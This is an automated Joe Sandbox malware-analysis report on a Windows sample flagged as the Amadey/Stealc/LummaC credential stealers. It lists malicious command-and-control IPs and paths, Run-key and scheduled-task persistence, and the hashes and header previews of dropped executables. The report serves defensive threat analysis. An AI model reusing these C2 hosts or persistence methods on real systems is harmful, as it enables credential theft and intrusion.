http://mozilla.org/MPL/2.0/.	firefox.exe, 00000017.00000002.3140196270.0000016D668C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153934004.0000016D67DB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3143979190.0000016D66C8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153934004.0000016D67D8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128010660.0000016D6433B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153934004.0000016D67DC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3124252108.0000016D63978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3096250652.0000016D66E71000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153934004.0000016D67DEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D63503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3139672822.0000016D66630000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3131050314.0000016D64A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66AC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136520275.0000016D657C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3024335272.0000016D656D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142724308.0000016D66B50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163045548.0000016D6C456000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3150846746.0000016D673C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3131395365.0000016D64B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3160909733.0000016D6C299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3129048698.0000016D64637000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://account.bellmedia.c	firefox.exe, 00000017.00000002.3156286806.0000016D68F40000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.openh264.org/	firefox.exe, 00000017.00000002.3112036472.0000016D606AC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/searchget	firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 00000017.00000002.3156286806.0000016D68F40000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://coverage.mozilla.org	firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://github.com/	firefox.exe, 00000017.00000002.3127541201.0000016D64103000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.96.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
142.250.184.206	youtube.com	United States	15169	GOOGLEUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546538
Start date and time:	2024-11-01 05:00:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@83/29@83/14
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 54.185.230.140, 52.11.191.138, 35.160.212.113
Excluded domains from analysis (whitelisted): d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, fs.microsoft.com, shavar.prod.mozaws.net, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 275cb7a9a2.exe, PID 2696 because there are no executed function
Execution Graph export aborted for target GXK4CGNQC97BZAH5XF5VF7CI8.exe, PID 2284 because it is empty
Execution Graph export aborted for target file.exe, PID 5440 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 1396 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:01:00	API Interceptor	11x Sleep call for process: file.exe modified
00:02:01	API Interceptor	26737x Sleep call for process: skotes.exe modified
00:02:16	API Interceptor	57x Sleep call for process: 275cb7a9a2.exe modified
00:02:40	API Interceptor	148x Sleep call for process: num.exe modified
00:03:00	API Interceptor	1x Sleep call for process: firefox.exe modified
05:01:24	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
05:02:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 275cb7a9a2.exe C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe
05:02:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 544ed086e5.exe C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe
05:02:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c86e5fe17c.exe C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe
05:02:44	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003088001\num.exe
05:02:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 275cb7a9a2.exe C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe
05:03:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 544ed086e5.exe C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe
05:03:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c86e5fe17c.exe C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe
05:03:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003088001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.149.100.209	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
ATGS-MMD-ASUS	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	sF9f27gI0U.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	greenthingswithgreatnewsforgetmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	188.114.96.3
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8Z32J2RQ40P4PPMYF6S72.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\IM4G4OFDR8U7L3FGHM3.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584656055010914
Encrypted:	false
SSDEEP:	12288:MqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tk:MqDEvCTbMWu7rQYlBQcBiT6rprG8abk
MD5:	E79F27AB2A69921BB110A37574D7B139
SHA1:	AE5A3C3D0602C608D4BED3331CCE90DFEC513451
SHA-256:	3B6C154CB62E1D8797B300EC8615F3CDFB692F5A31B3F6AB5B66278549332D4D
SHA-512:	6DD62C82AFD48CE91BB353F9BE96B8BA6F1D8E2406E689B765943328B1CB4C2FAAD6DE32B388937B586654DFC47E3FE9E5C4EBE4B8320ED896DBBFC904A98122
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...<R$g.........."..........X......w.............@..........................`...........@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2137600
Entropy (8bit):	7.961389881797388
Encrypted:	false
SSDEEP:	49152:uGVhpyQho3PpnAE1ktGuQXdOS98NNT/tspRkYlQ3Yr2We5Vz+:hHouyWGuQNOS98NLCMYcD+
MD5:	212E008D0B8A1D4874846987F37E34FA
SHA1:	0C125B1139DBBB0AA2FEDFB916D1365001CCE1E9
SHA-256:	D9D47FD94A18E02CB473EC8ED22D7D7F6CE79825F999D129D662F71409A48082
SHA-512:	F2D886EF7CEDC828234029B48BB146C449ECDF7D2D293C759AF6DC61F873FE873BE5CBEA21B9C07FD6ED868AA8B32CBA804B79BD788475F53490B54872E7D0D6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r......B!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...cbbjugzk......X.....................@...lfmofsyx.....pr......x .............@....taggant.0....r.."...\| .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ykDoK8BtxW.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2874880
Entropy (8bit):	6.557349853737172
Encrypted:	false
SSDEEP:	49152:KB88yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy4:KBrWV0C6DVlt8HeUjoT7gH
MD5:	DA2EA6B51A3216E065B2CED231C9E57F
SHA1:	EE7EA72BD395654CB1126D9445A130B9BCBC21F0
SHA-256:	55A539C066DCCA8B451445A6BC712FED79B4984297E86E629FBB74E50256FA8E
SHA-512:	7C72F9DCF959DE9F012DD06841F6E3DEFA892A5F3AB5ED20A667D4FAC0C613B8E5CE34699590D720FD7A38FB7F62FFC7DC77AA027713FAD558EB84F371A49ABB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J........................@.......................... /.......+...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...wjqxmzgq.0)......$).................@...xobrrexd..............+.............@....taggant.0......."....+.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2874880
Entropy (8bit):	6.557349853737172
Encrypted:	false
SSDEEP:	49152:KB88yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy4:KBrWV0C6DVlt8HeUjoT7gH
MD5:	DA2EA6B51A3216E065B2CED231C9E57F
SHA1:	EE7EA72BD395654CB1126D9445A130B9BCBC21F0
